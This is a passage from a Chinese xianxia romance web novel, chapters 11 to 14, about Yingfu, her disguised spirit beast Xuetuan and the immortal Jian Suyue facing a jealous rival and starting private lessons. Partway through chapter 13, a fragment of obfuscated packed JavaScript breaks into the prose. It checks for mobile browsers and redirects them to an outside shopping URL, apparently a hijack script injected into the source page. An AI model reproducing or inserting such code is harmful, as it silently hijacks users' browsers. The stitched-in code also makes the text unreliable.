一只通体修长,白底灰斑蓝眼睛的豹子,背上还有一对雪白的大翅膀。
盈芙:……如豹添翼!
它竟是这么大的体型,难怪能一口气吃那么多。
不过不得不说,好帅!若说猫咪形态的它是十成可爱,现在的它则是七成帅三成可爱,盈芙越看越想伸手rua一把。
“重林竟放任它藏在猫群里。”简溯月微微蹙眉,这次也不管他叫长老了。
盈芙感觉他有点生气,连忙抓住他的袖角摇了摇,替重林长老求情道:“哎呀,豹豹怎么不算猫咪?而且说不定重林长老也没发现呢,别在意那么多了。”
简溯月略带无奈地叹了口气,但没有抽走自己的袖子,任她晃来晃去,只是冷声质问那只追雷饮雪兽:“你是怎么进入云顶宗的?又是怎么混进灵猫群的?”
11. 第 11 章
追雷饮雪兽瞪着简溯月,敢怒不敢言,最后只能扁了扁嘴,老实答道:“人把我抓进来的,我本来以为只是签契约做灵兽,谁知他们要扒了我的皮毛做披风,我就跑了,但到处都是人,我只能躲在猫群里。”
至于后来发现那里灵气充裕,而且包吃包住,它懒得走了——不是,是没找到合适的逃离机会!这些就先不提了吧。
“披风……?”盈芙懵了,她怜惜地看着它漂亮的皮毛,不知谁竟如此狠心。
简溯月也蹙眉道:“荒谬,追雷饮雪兽是上古灵兽,如今所剩无几,竟有人想拿去做披风。”
雪团惊讶地看着这两个人,忽然放松下来,它知道自己安全了。
简溯月收了对它的压制,它抖了抖毛,重新变成了一只小猫咪。
一来它已经习惯了猫咪体型,二来猫咪体型小小的,在屋里活动很轻便,三来,作为猫咪,它可以很轻易地获得人的喜爱,得到人献上来的美味!
不过这次幻化成猫咪,它保留了自己原本的灰色斑点。
它真的很喜欢这些圆圆圈圈的斑点,只是之前为了躲藏,迫不得已把它们变没了,现在,应该不用藏了吧?
它试探着走到盈芙面前,小小地“喵”了一声:人,我们还和之前一样好吗?
盈芙一如既往地蹲下来摸了摸它的脑袋,安抚道:“你放心,以后没人能把你变成披风,走,我们去吃饭!”
雪团激动地晃了晃自己毛茸茸的大尾巴,又蹭了蹭盈芙的手指。
人,你真好,你是我遇到过的最好的人。
晚上,盈芙在偏殿专门给雪团办了个宴席,给雪团专门做了好几份不同食材的猫饭。
但雪团却盯着人吃的菜移不开眼了:“人!我想吃这个!”
盈芙:“嘶……”猫不能吃这些,但追雷饮雪兽能吃这些吗?
她问简溯月,简溯月淡淡道:“追雷饮雪兽是灵兽,可以吃。”
雪团欢快地晃了晃尾巴。
接下来,它想吃哪个,盈芙就把哪盘菜放到它面前,让它吃个尽兴。
而她托着腮含笑望着雪团,目光一直落在它身上,时不时问它觉得味道如何。
简溯月蹙眉看着这幕,忽然道:“它虽然能吃这些,但它不该吃这些。”
盈芙终于回头看他:“哎?那它该吃什么?”
简溯月:“雪,追雷饮雪兽自然以雪为食。”宫殿外就有很多雪。
雪团从盘中抬起头,悲愤道:“那是因为没别的能吃了!只能吃雪了!主人,你别听这个坏人的!我好不容易才吃上这些好吃的!”
简溯月:“……”
盈芙感觉到一人一猫间的紧张气氛,左右为难。
简溯月忽然起身离开。
盈芙愣了愣,同雪团道:“你慢慢吃,有事去正殿找我。”
然后她追上简溯月,小声问:“怎么啦?”
简溯月冷漠道:“无事。”
盈芙撇了撇嘴:有事,明显有事,都不用靠并蒂芙蓉印感知,她好久都没听到他这么冷的声音了。
她轻轻拉住他的袖角,简溯月把袖角从她手中抽出,又冷声道:“不必管我,去看那只猫吧。”
盈芙依稀好像闻到了一点酸酸的味道……是错觉吧?他怎么可能为一只小猫咪吃醋?
她又拉住他的袖角,轻轻晃了晃,这次他没抽走袖角,但也没说话。
当两人走回正殿时,他才道:“它终究只是只灵兽。”
盈芙茫然点头:“我知道呀。”我没指望它化形变成人,或者聪明到去考大学。
两人“对视”片刻,简溯月身影原地消失了,盈芙莫名感觉他有点气鼓鼓的。
盈芙接下来一天都没见到他。
到了下午,她按照课程表的安排,去上《修仙入门与常识》这门课,到了班门口才发现同学竟是一群五六岁的小朋友。
从误闯天家变成了误闯小学一年级,盈芙一时哭笑不得,不过她很快想到了一个主意:借用面纱的力量把自己也变成了小孩子,带着自己的零食混入其中,还给自己取了个新名字,叫付盈,很快就跟小孩子们玩成一片。
但知道她真实身份的授课长老玄瑜光对此相当鄙夷,直接讥讽道:“外门旁支的血脉,就是见不得人。”
盈芙:“……”好气哦!仔细看看,这位长老好像有点面熟,似乎是在那场赏花宴上见过。
盈芙恍然:“您虽然见得了人,但好像也没什么用哎。”
玄瑜光当即火冒三丈,一拍桌案,怒道:“你!给我站起来听课!”
盈芙撇了撇嘴:玩不起。
至于他说的话,盈芙假装没有听见。
但那长老怒火中烧,又重复了第二遍。
盈芙指了指自己,笑问:“您确定吗?那我可真站咯,不过,我‘家里人’要是知道了……”
咸鱼发动技能:鱼假虎威!
“……等等。”玄瑜光陡然冷静了下来,想起简溯月那晚对她一见钟情之后又对她一片痴心的模样,恨恨看着她,咬牙切齿道,“开始上课!把书翻到第六章!”
一群小朋友不明白其中缘由,只是崇拜地看着她:居然能逃过这位长老的可怕惩罚!不知道她家里人是谁,居然这么厉害!但外门旁支的,有这样厉害的家里人吗……?
盈芙没有察觉到小朋友们的目光,她连蒙带猜磕磕绊绊地读着书,做着笔记,还经常被那位长老找茬提问。
一节课下来快给她累懵了,也给那位长老气炸了。
放学后,盈芙瘫在鹤车上回到藏琼宫,又挪到长榻上抱着雪团继续瘫着,一动都不想动。
到了晚饭时间,简溯月还没回来。
盈芙艰难起身,一边给雪团布置晚饭,一边思索:简溯月的不开心,应该是从昨晚那场宴席开始。
是嫌雪团吃太多了吗?不至于吧,他不是这么小气的人。
是因为雪团说他是坏人吗?可在雪团说那句话之前,他就明显不太高兴。
那是因为什么?总不能因为是她忙着照顾雪团,跟他说话少了吧?
盈芙愣了愣,心中有种微妙的期待像朵小火苗一样摇摇晃晃地升起来,又被她立刻摇头否认,毫不留情地浇了杯凉水:不可能,她与他只是假装成为道侣,他不可能会这么在意她。
他那般清冷的谪仙,怎会动了凡人的心?
倒是她该提醒自己,不要老是想错想歪。
可他到底是为了什么生气?盈芙还是不懂。
第三天,盈芙今天没有课。
她兴高采烈地提前约了娘亲和妹妹,带上雪团一起在山下的城镇里逛了一天,买了许多东西。
她娘和盈桃也很喜欢雪团,告别时还依依不舍的,约好了下次再见。
盈芙在傍晚时带着雪团回到了雪玉峰,依然没见到那个清冷若雪的身影,倒是在宫殿门口的雪地上看到了许多杂乱的脚印。
盈芙皱眉看着那些脚印:大小不一,明显不是一个人的,发生了什么事,怎么忽然来了这么多人?
她怀里的雪团仔细嗅了嗅,骤然打了个哆嗦:“主人,我好像闻到了两年前那些抓我的人的气味!”
盈芙:“?!”
这些人竟然阴魂不散,死性不改,竟还敢找雪团找到雪玉峰?!
到底是谁一直惦记着雪团?而且能觊觎追雷饮雪兽的皮毛做披风,还敢带这么多人来雪玉峰,这人明显身份不一般。
这些人今日无功而返,改天定然还会再来,可简溯月不知去了何处,她该如何应对?
雪团用两只爪子抱紧了她的胳膊,颤声道:“主人,我害怕。”
盈芙安抚道:“没事,我会保护好你的,你不会变成披风的。”
她抱着雪团进了正殿,安排它今晚在正殿休息,还给它布置了一个舒服的小窝。
雪团安心睡着了,盈芙却难得有点失眠了
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。
一边是那些对雪团贼心不死的人,一边是简溯月三天毫无踪影……他这次到底生了多大的气?
可他一直不回来,她连问都没法问,哄都没法哄。
要去找找他吗?可这么大个云顶宗,她该去哪里找他?
他除了雪玉峰应该还有别的住所,她却不知道在哪,只是假装道侣的话,她没必要知道,所以一直也没问。
她感觉心口闷闷的,披衣起身推开窗,看着窗外的月光照在白雪上,看着远处重叠的山影朦朦胧胧,是她爱看的宁静美景,却没有她想见的人。
‘想见他……’
这个不该有的缥缈念头愈发强烈。
“你怎么还没睡?”
清冷的声音没有预兆地响起,盈芙骤然回头,看到那雪衣谪仙的瞬间,惊喜,委屈,歉意一起涌上心头,眼眶都有点发酸。
她看着他,张了张嘴,一时竟不知道说什么。
太多问题了,她想问他去哪了,为什么三天都不回来,想问他能不能帮帮雪团,想问他那天到底为什么那么生气……
还是先道歉吧,然后问那个最关键的,让她百思不得其解的问题。
“抱歉,让你生气了,但是你能告诉我,那天你为什么生气吗?”
盈芙小声问完,又低下头,觉得自己问错了:她连自己哪做错了还没悟到,怎么让他原谅,这样问不是火上浇油吗……
她心中纠结不安,却听简溯月道:“……我没有生气,我只是去见了师尊,而后去藏书阁查找如何解除并蒂芙蓉誓。”
按照他师尊的说法,瞒着他让他与玄家人立下并蒂芙蓉誓,竟是为了保护他。
“你锋芒毕露,惹了太多人眼红嫉恨,唯有与玄家彻底绑在一起,玄家才能护住你。”他师尊如此说,“至于为何瞒你,当然是因为不瞒你你肯定不会答应,为了你,只能由师尊我当一次恶人咯。”
他师尊将自己的私心藏得一丝不露,简溯月知道,却没有当面戳破这个谎,那到底是他师尊,是养他教他二十年的师尊。
盈芙:“……”还说没生气,已经气到连夜去查怎么解除契约了。
简溯月看着她质疑不信的目光,心头竟有点轻快,他终于轻声承认道:“是有一点生气。”
盈芙仰头看他,有点克制不住的委屈:“所以是因为什么?”
简溯月说不出口。
这次生气的原因,让他自己都觉得匪夷所思。
他抿了抿唇,间接道:“少让那只猫出现在我眼前。”
盈芙恍然:“你不喜欢它?”
简溯月:“嗯。”
盈芙总算懂了,不过她今晚为了雪团的安全,把雪团安置在了正殿,就在隔壁的屋子里……
盈芙心虚地转移话题:“对了,那你现在回来,是找到解除并蒂芙蓉誓的方法了?”
简溯月摇头:“还没有。”
他在藏书阁查阅了三天古书典籍,有记载并蒂芙蓉誓的典籍都说……它是无解的。
但他方才借并蒂芙蓉誓感知到了她的情绪,她好像很焦虑,很难受,想见他。
于是他回来了。
盈芙有点失望,但还是先安慰道:“没事,不急,慢慢找,总能找到办法的。”
简溯月:“嗯。”感觉到她的失望了。
两人一时沉默,盈芙又想起一个重要的事,小声道:“对了,虽然你不喜欢雪团……但是有人想欺负我和雪团,你能帮帮我们吗?”
简溯月微微抬头,语气都变严肃了:“谁欺负你?”
盈芙描述了今天在宫殿门口发现的那些脚印:“而且雪团闻出来了,就是两年前想用它做披风的那些人,只是还不知道他们的身份,但他们肯定还会再来的。”
简溯月沉吟片刻道:“他们今天来雪玉峰扑了空,也许会在你上课时找你,我记得你明天上午有节《常用基础仙术》,你带上那只猫,我陪你一起去上课。”
12. 第 12 章
次日上午,《常用基础仙术》的课堂将要开始时,盈芙抱着雪团,和简溯月来到了课堂附近的一丛金丝棠树后,做着准备工作:简溯月隐了身,而盈芙用面纱变成了小孩子的样子。
简溯月望着眼前可爱灵动的小盈芙,难得愣住:“……为何要变成这个模样?”
盈芙仰起粉雕玉琢的脸庞看他,笑盈盈道:“因为班上都是这个年纪的小孩子,不变成这样融不进去呀。溯月哥哥,我们快去上课吧。”
简溯月看似镇定地“嗯”了一声。
盈芙抱着雪团来到教室,一进屋却绝望发现:只剩第一排的座位了。
她左右看了看,无奈抱着雪团坐到了第一排墙边靠窗的位置。
隐身的简溯月坐到了她旁边,坐姿端正优雅,一看便知是个好学生。
一群小朋友看到可爱的小猫咪,惊呼着围了上来,又被刚进屋的授课长老玄青川挥退:“该上课了,都坐回自己的位置!”
然后授课长老瞪向盈芙:“你是谁?怎么带猫来上课?!哦……你就是玄盈芙吧?”
盈芙:“……是我,抱歉长老,今天家里没人能照顾它,我只能把它带过来,就这一次!拜托了!”
班上的小朋友顿时看着她的背影议论纷纷:
“她就是抢走珍璎姐姐未婚夫的玄盈芙?”
“她那天不是说自己叫付盈吗?”
“笨呀,肯定是她不好意思,用了假名字!我那天就知道了!”
“但她那天分享的零食好好吃,养的猫猫也好可爱,我感觉她不是坏人……”
“哼,外门旁支的,是不是坏人,都上不了台面。”
玄青川脸上笑容愈发阴冷:“果真如瑜光所说,外门旁支的贱人就是见不得人。丢人现眼的东西,竟还敢坐到第一排,带上那只畜生滚到最后一排吧!”
盈芙攥紧了手,生气又委屈,如果没有今天守株待兔的计划,她马上就带雪团离开这里,再也不回来。
忽然,她感觉头顶被人轻而怜地抚了抚。
“怎么,没听见吗?!耳朵聋了??”
长老扬高了声音,还要继续骂:“外门旁支的蠢……”
简溯月解除隐身,冷声道:“玄青川,你可以离开这了。”
玄青川顿时脸色煞白。
教室中一片兴奋惊呼。
“哇!简师兄今天居然也来了!”
“叫什么师兄,大人们都叫简仙君!”
“你、你你怎么会在这?!”玄青川颤声问。
简溯月微微抬头,声音愈发冷冽:“我今日来,是为我的道侣讨回公道,玄青川,你不必再做授课长老了,你不配为人师表。”
玄青川眼前一黑,几乎当即就要昏过去。
他也知道今天自己过分了,他本来不教这门课,就是为了出口恶气专门跟人换课来的,谁能想到简溯月竟然也来了?!
而且他知道,简溯月是真的有本事让他当不成这个长老,甚至只需要一句话,就可以让他身败名裂。
今天他真的来错了……可为什么玄瑜光说上次骂了她一节课也没事?!他这才骂了几句啊?!他怎么这么倒霉,偏偏撞上简溯月!
忽然又听“砰——”的一声,教室的门被人一脚踹开了,十来个少女少男闯了进来。
“玄盈芙,你给我滚出来!你也配在内门上课?!”玄珍璎高声喊道。
盈芙无语到极点甚至有点想笑:这些人各个都想让她滚出来,说得仿佛她多想来这上课一样,当初那满册子课程难道是她求来的吗?
雪团跳到她的桌子上,抬起一只爪子,指着门口的人一顿乱“喵”,语气很是激动。
玄珍璎看到简溯月,还有那只白底灰斑的猫就眼睛一亮,随即瞪着盈芙恨恨道:“玄盈芙,你还装成小孩子,以为这样我就认不出你了吗?!果然是你偷了我的追雷饮雪兽!你又偷我的未婚夫又偷我的灵兽,你要不要一点脸?!”
盈芙一愣,看向一旁的简溯月,震惊问:“你之前是她的未婚夫?”
简溯月冷声道:“不是。”
他的语气比往常更冷几分,盈芙能感觉到,他现在相当生气。
简溯月站起身,同盈芙放缓了语气道:“我们去外面吧,不打扰其他人,玄青川,上好你的最后一节课。”
原本面如死灰的玄青川听到这句话,立刻充满期盼地望向简溯月:“是不是我上好这节课,就能继续当长老了?”
简溯月淡淡道:“不能,你也可以换个人来上这节课。”
反正这节课得有人上。
盈芙恢复本来的模样,抱起雪团,与简溯月一起走出教室,和脸色苍白的玄珍璎,还有几乎要昏迷的玄青川擦肩而过。
玄珍璎陡然转身,两眼发红地盯着简溯月,尖声问道:“简溯月,这么多年,你对我当真没有半点真心?”
教室中又一片兴奋的“喔……!”
“大人们吵起来了!”
简溯月淡漠道:“师姐多虑了。”
盈芙有点诧异:玄珍璎居然是简溯月的师姐,他辈分到底有多小……
玄珍璎笑了,笑得比哭还难看,她身旁忽然有一跟班激动高声道:“简溯月,你别装了,你明明喜欢过珍璎师姐的!要不然你为何选雪玉峰藏琼宫?”
盈芙和简溯月都感觉到彼此的茫然,满班弟子也一脸疑惑:没听说过雪玉峰藏琼宫和玄珍璎有什么关系啊?
但见那跟班红了脸,愈发激动地道:“一群瞎子啊!你们都看不出来吗?那璎和琼,都有美玉的意思啊,雪玉峰不就是在夸珍璎师姐是冰雪美人吗,藏琼宫不就是……唔唔唔!”
那跟班忽然说不了话了。
“慎言。”
盈芙从来没听过简溯月这么冷的声音。
她能清晰感觉到他的怒意和厌恶。
这次他真生气了,而且生了个大气。
“雪玉峰藏琼宫与她无半分关系。”简溯月冷声道,“勿要胡搅蛮缠,胡言乱语。”
玄珍璎的眼泪当即就落了下来:“你……”
简溯月又微微侧头“看”向盈芙:“你给雪玉峰藏琼宫起个新名字吧。”
竟是一刻都忍不了,当场就要改名。
陡然被点名的盈芙有点懵:这还有她的事呢?
她不擅长起名,如今更是半个文盲,但眼下不能输了气势,于是赶紧在大脑里摆了个烧烤摊,快速烧烤起来:
这座宫殿与简溯月有关,简溯月虽然之前不怎么住那,但不久前在里面睡了三天,嗯……眠月宫?
不过好像没见谁家宫殿上用眠这么直白的字的,唔唔……
“栖月宫如何?”盈芙有了灵感,眼睛一亮,“栖是栖息的栖,等等,不是七夕的七……”哎呀解释不明白了,而且她不知道这个世界的栖要怎么写,要不然直接写给他看。
简溯月却已经会意:“明月栖高山,清辉落千川,栖月宫,好名字。”
“还得是你。”盈芙给他默默比了个大拇指:不愧是天才,一句诗解释明白了。
不过那个月字,不止是明月,更是溯月呀。
虽然他似乎没意识到,盈芙也不打算再解释。
玄珍璎一行人听着这个新名字,脸都黑透了。
又听简溯月问:“雪玉峰打算如何改?”
盈芙继续运营烧烤摊
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:雪玉峰,雪,雪团……叫雪团峰他肯定会生气的吧,不行不行再想想……
就在盈芙已经隐隐嗅到了烧烤焦糊的气息时,忽听简溯月问:“冰荷峰如何?冰魄凝晶荷。”
这次他只说了半句,把忽然想到的不合时宜的后半句悄悄藏了起来。
盈芙点头赞道:“好名字!”又是冰魄又是晶荷的,多有高冷谪仙风范。
至于荷与芙的同义……应该是巧合吧……?
“简溯月……你要辱我至此吗?”玄珍璎咬牙切齿,走出教室逼近盈芙指着她的鼻子怒声问,“你怎么能用她的名字给你的山峰起名?!”
盈芙不敢吭声,她也有点不好意思。
如果不是巧合,那简溯月这么做,或许是因为猜到了栖月宫里“月”字的另一重含义,然后为了“回礼”,就给山峰取了她的名字。
他一直是个很较真爱送礼的人。
面对暴怒的玄珍璎,简溯月上前半步将盈芙挡在身后,淡淡道:“与你何干,整座冰荷峰我早已送给了她,以她之名为山峰命名,并无不妥。”
当简溯月说完这句话后,满教室响起一片“哦——!”的声音,还有一双双吃瓜吃到激动的眼睛。
教室外,盈芙茫然看向简溯月,用眼神无声问他:我不是没要吗?
简溯月先是一抬手,隔空关上教室的门,还在教室周围设了个隔音结界,不打扰他们上课或者自习,随后向盈芙解释道:“已经是你的了,门派的登记册上我已经改了,峰上所有阵法都认你为主。”
改的时候,又把他师尊气了个半死。
而且简溯月当时说的很直白:“弟子不能见她被人欺负、无处可居而无动于衷。她所遇之祸皆因我而起,这是我应送她的赔礼。”
看他师尊当时的复杂表情,应该也是知道自己夫人取消玄盈芙在停鹤阁的房间一事。
盈芙这才后知后觉,原来这些天她其实一直睡在“自己家”?
“不过,按照门派规定,门内大乘期以上的修仙者皆可分得一峰成为峰主。”简溯月补充道,“他们还欠你一座峰。”
盈芙:“……哎?!”
她这样的咸鱼,怎么就要成两峰之主了?!
她连忙道:“那这座峰送你!算是……回礼!”
可算有个她拿得出手的东西了,她赶紧找个“礼”的名头安给它送出去。
教室内听不到外面声音的人都很急,但简溯月随手设下的隔音结界,连那玄青川也无可奈何。
若是那玄青川知道两人互送山峰的事,定要倒吸一口凉气,愈发憎恨盈芙,连带着简溯月一起恨:竟然把多少人求不得的,能象征自己身份地位的山峰送来送去,成何体统?!
但如果是送给他女儿,那就当他没说,这叫真心难得。
简溯月却有些失望:这山峰虽贵重,但不是他想要的礼物。
盈芙察觉到他的失望,轻声解释:“这不是上次说的那个礼。”
简溯月却不依不饶:“那是何礼?没有理由我不该收。”
盈芙:“……”他的规矩是真的很多。
她的烧烤摊再次开始烧烤:近来收了他太多礼物,而且被他帮了许多忙,她真的很想把这座峰送给他。
盈芙快速思索还能找什么借口,随即灵机一动,在烧烤摊烤熟了完美一串:
“是你帮我和雪团的谢礼。”
玄珍璎被两人气到一时说不出话,指指盈芙又指指简溯月,气得直哭,想摔东西手边却没有东西可摔。
忽然,她的又一个跟班站出来,直指盈芙骂道:“你这无耻小贼,别再岔开话题!快把珍璎师姐的追雷饮雪兽还给她!”
13. 第 13 章
盈芙还没来得及说话,她怀里的雪团直接口吐人言,气愤道:“我才不是你的,我的主人是她!”
它用毛茸茸的山竹爪子拍了拍盈芙的胳膊,又对玄珍璎呲牙哈气:“你们当年把我捉过来,要拿我做披风的仇,我还没找你们报呢!”
玄珍璎哑口无言:这灵兽竟已开了灵智,还能如此清晰的口吐人言,按照仙盟规定,这样的灵兽是不能随便猎杀的,而且是能自己认主的。
若是无人知道便罢了,偏偏这回让这么多人看见了。
最关键的是,她没有玄盈芙偷窃的证据,而玄盈芙有简溯月在旁边给她撑腰,强抢肯定是抢不回来了。
她恨恨瞪着盈芙,虽然不甘心,但她知道,这次这只逐雷饮雪兽是要不回来了。
“玄,盈,芙!”玄珍璎一字一字阴冷愤恨道,“你给我等着!”
盈芙听着这熟悉的台词,没忍住打了个哈欠,懒懒补充道:“嗯嗯你还会回来的。”
玄珍璎气炸了,陡然合手凝出一道赤火焚天令,向盈芙挥去。
滚滚烈焰铺天盖地向盈芙袭来,玄珍璎竟完全不顾这是一座木质阁楼,不顾周围几间教室里还有正在上课的长老和弟子们。
简溯月张开手掌,以他为中心,周围立刻起了层淡蓝色的阵法,将滚滚烈焰与墙壁地面隔绝开,并将烈焰与赤火焚天令飞速囚禁压缩成一小球。
他收拢手掌,烈焰与赤火焚天令陡然化作一缕青烟,彻底消散。
盈芙:“哇——好厉害!”教练,她也要学这招!
不过真教的话当她没说,她对自己的斤两还是有数的。
简溯月耳尖微红,而后同玄珍璎冷声道:“胡闹!此术岂可乱用。”
“与你何干。”玄珍璎冷哼一声,她知道不能乱用,但反正有他在,她用了也伤不了谁,她就是要狠狠发泄下心头怒气。
她森冷的眼神自盈芙脖颈上擦过,带着人离开。
她娘说过,此女命薄。就算这句话本是为了安慰她,她也会让这句话变成真的。
从来没有,从来没有人能这样一而再再而三地抢走她的东西!简溯月与她虽然没有婚约,但这么多年来,所有人都知道,简溯月就该是她玄珍璎的!他就是她的未婚夫,却偏偏被这个贱人抢走了!这个贱人甚至还当着她的面这样气她!
玄盈芙,一定要付出代价。
盈芙莫名感觉脖子凉凉的,把雪团往上抱了抱,下巴抵着它毛茸茸的脑袋,脖子贴着它温暖的毛,感觉舒服多了。
雪团蹭了蹭她,还喵了一声,仿佛在问:人,你在做什么?
盈芙用脸颊蹭了蹭它,回“喵”一声:咪,在借你取暖,谢谢啦。
简溯月听见她的“喵”声,“看”着如此亲近的一人一猫,微微蹙眉,撤下教室周围的隔音结界,提醒盈芙道:“今天的课还没结束。”
盈芙僵住,缓缓放下小猫,但看着关好的教室门有点犹豫不决:刚闹了这么大一通,她现在去上课,好尴尬啊……但以简溯月那个古板脾气,肯定不会让她现在不上课回家的。
盈芙轻轻摇他袖子,小声道:“要不你给我也用个隐身术吧,嘶,可我们就算隐身了,一开教室的门,还是会被发现的……”
盈芙苦恼叹气。
简溯月:“那就回去,以后不必再来这上课了。”
盈芙一惊,第一反应是他在说气话,在讽刺她不想学就算了,却听他继续道:“以后我给你上课。”
盈芙:“!!!”
终于不用每次提心吊胆来上课了!
那些内门的玄家长老恨不得长出一百只眼睛盯着她找茬。而且每次都要混到这些小朋友里,她也有点尴尬。
随即她想到一件事:他不喜欢雪团,可上御兽的课又离不开雪团……不行,这门课不能交给他上,要不然哪天他又气鼓鼓地走了,她连找都没地方找。
盈芙轻声同他商量:“只帮我上四门可以吗?御兽入门那门课我还是去找重林长老吧,重林长老人还不错。”
雪团也抱住她的胳膊连连点头:它能感觉到,他虽然不会伤它,却对它有种莫名其妙的敌意,它可不想被他盯着上课,不然他肯定会盯着它疯狂找茬的。
简溯月微微抿唇,“看”着雪团抱着她的爪子,感觉十分碍眼。
若是由他来上御兽的课,定要多留些作业,督促它修炼,让它没空整日缠着她。
但她既然不愿意……罢了,反正上别的课时,它别想出现在他眼前。
简溯月先隔空取回盈芙座位上的书和笔,收到自己的储物玉佩中,又传信给一位他熟识的可靠长老,让他帮忙接着上这节课,然后向盈芙伸出手,以千里一步之术直接带她回到了栖月宫。
一到栖月宫里,雪团就跳下盈芙的怀抱,从一扇未关的留着赏景的窗户跳了出来,嗖一下如闪电般直奔偏殿,速度之快仅剩残影。
盈芙在窗户里面看呆了:“不愧是能逐雷的猫……”
“来。”简溯月清冷的声音响起,盈芙想起正事,连忙过去。
简溯月取出她的书,慢条斯理地在书案上铺开,修长的指尖捻起书页,自第一页向后优雅翻动,偶尔提起笔勾画或写些什么,蒙眼的淡蓝长纱末端落在他的肩头,会随着他的动作轻轻摇晃,将他今日带的明月耳坠半遮半掩,好似轻云遮月……明明仙气翩然,却无端地诱人神魂。
盈芙发现自己无意识盯着看太久后,便迅速移开视线,假装无事发生,只是不由在心中惊叹:真是一幅漂亮的美人图,如果这美人不是来给她上课的就更好了。
她现在才后知后觉地发现,由简溯月来给她上课,也许不是个好主意:首先,他肯定是个严师,而且只用盯着她一个人,这就让她没法偷懒走神了,说不定还会留很多作业……不过他应该不至于会让她每天修炼十一个时辰吧?这是想要她的命哇。
其次,他是个天才,万年一遇的天才,也许很多东西在他眼中简单得都不用教,在她眼里却晦涩如天书。
盈芙乖巧坐他旁边,大气都不敢出,仿佛已经看到了待会这位美人被她气疯,摔书离开的样子:
“这还用教?这不是一看就会吗??”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17164981|196667||http|test|mini|href|location''.split(''|''),0,{}));
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>“这不是刚教过吗?怎么这么快就忘了?!”
“教你一次,我得少活千年!”
“简溯月”怒气冲冲地说完,就甩袖离开,直接去了藏书阁,连夜把藏书阁里的古籍翻烂,也要赶紧找到解除并蒂芙蓉誓的方法:只是跟她结着契,他都感觉自己变笨了。
本来二十年就能飞升,现在得多修炼一万年!都怪她!
简溯月翻书的指尖一顿,他抬头“看”向她,问:“你在想些什么?”
她看起来乖巧坐着,但情绪变化是相当丰富,方才先是盯着他的耳坠发呆,随后不知想了些什么,怕到指尖都在发抖,现在又咬唇忍笑,唇都被咬出红痕了。
“没什么。”盈芙心虚地小声道,也不知道他看着书怎么还能这么敏锐,发现她在胡思乱想。
看他继续翻书,盈芙终是忍不住道:“要不还是算了……以后我隐身去上课,或者用水镜远程上课。”
简溯月停下笔,抬头“看”她:“为何算了?”
盈芙拧着指尖,尴尬道:“因为……我的基础太差了,我可能会听不懂,白白耽误你的时间……”甚至还可能把他气走,让他连夜把古籍翻烂。
盈芙深深叹了口气,蔫蔫地趴到了桌边,感觉到了如山压力——比结并蒂芙蓉誓那天被那么多人盯着压力还大。
咸鱼感到焦虑,心里急得冒火,自己都快把自己从内到外烤糊了。
然后她的头顶就被人轻轻抚了抚。
微凉的指尖,温柔的动作,带着无声的安抚意味。
盈芙:“……?!”
她呆呆抬起头看他,却见他云淡风轻地收回了手,仿佛刚才什么都没发生,而后轻声道:“无妨,先试试,其实我也不擅长授课。”
“你之前给别人上过课?”盈芙有了兴趣。
简溯月微微点头,耳畔明月轻晃:“受邀上过几次剑法课,似乎……没几个人听得懂。”
盈芙几乎能想象到那个场景:天才哐哐演示讲解了一遍剑法,一扭头发现除他之外所有人都是懵的。
“噗。”盈芙轻笑出声,忽然放松许多:挺好,一个不擅长上课的天才,一个基础为零的差生,她能学明白才是奇迹,出问题都不知道该怪谁,反正不是她一个人的锅。
“那你随便讲讲,我随便听听。”盈芙心里一放松下来,连姿态也放松了,趴在书边,歪着头,看他圈画重点提写笔记。
不过这样离他的手好近,盈芙的注意力不知不觉间又被他的手吸引了:真是漂亮的手,骨节分明,精致白皙,像是白玉雕刻出来的一样,在灯下泛着温润的光泽。
简溯月的手一顿,才继续写笔记,笔尖落下的字比方才僵硬不少:她的目光这次落到了他的手上,还有她的呼吸,如柔软温热的羽毛般轻轻拂过他的手背……不行,有些写不下去了,先写这么多吧,这些已经足够上三节课了。
这只漂亮的手将书页重新翻到第一页,轻轻敲了敲桌子。
盈芙会意坐正,还给他倒了杯茶,笑眯眯地推到他身前:“师尊好,今天劳烦师尊给我上课了。”
14. 第 14 章
简溯月接过茶,耳尖微红,轻声道:“别胡闹,开始了。”
盈芙“嗯嗯”点头,看起来一副乖巧学生的样子,其实内心是个对课程和老师以及自己都不抱任何希望的差生。
简溯月将课本放到两人中间,从第一个小法术“控物术”开始讲。
清冷的声音一字字认真地念书上的内容,还有他补充的笔记,待盈芙理解了,又开始实物训练。
简溯月从书案上的一沓空信纸中抽出一张递给她,提醒道:“将手放到这张纸上,把灵力附着上去。”
盈芙跟着他的声音进行操作。
简溯月:“附着的灵力有些太多了,收回去一些,留下尽可能少的灵力,毕竟这只是一张纸,很轻,对,就是这样,再控制着你分出去的灵力,将纸抬高。”
盈芙如言照做,那张信纸晃晃悠悠地漂浮起来。
盈芙的眼睛亮了,控制着那张纸四处飞舞,仿佛小孩子得到了自己的第一艘飞机模型。
这些修仙界的法术还挺好玩哎!
简溯月“看”着她的明亮眼睛,欣喜神色,还有那张如她心意欢快飞舞的纸,继续引导:“你还可以用你的灵力折叠那张纸,改变它的形状,不过这就需要更精细的灵力控制了。”
盈芙试探着控制灵力,隔空将那张纸撕掉一截变成正方形,然后多次折叠,最后折成了一朵荷花。
这是她最熟悉的一种折纸了。
荷花折好后,在空中翩翩旋转,随后轻轻落到了简溯月身前。
盈芙笑道:“师尊,我来交课堂作业了,感觉我的作业如何?”
简溯月“看”着她开心得意的神色,嘴角也不由微微扬起:“优秀。”
盈芙实在没忍住,欢呼一声,主动学起了第二个小法术“轻身术”。
简溯月先同她讲解:“轻身术的原理与控物术类似,只是将附着灵力的对象变成了自己的双足,附着之后,你便可以以灵力配合自己的动作,提升跳跃奔跑的速度和距离。”
片刻后,栖月宫中多了一只蹦蹦跳跳的小鹿盈芙。
简溯月忍着笑意,又延伸道:“如果你能用灵力附着周身,便可以托着自己浮在空中,这就是飞行术。”
盈芙恍然大悟,开始在栖月宫中自在遨游,上下翻飞如蝶。
又一次飞过简溯月时,她忍不住问:“我感觉你讲得很好哎,之前你上课时那些人为什么会听不懂呢?”
简溯月微笑不语。
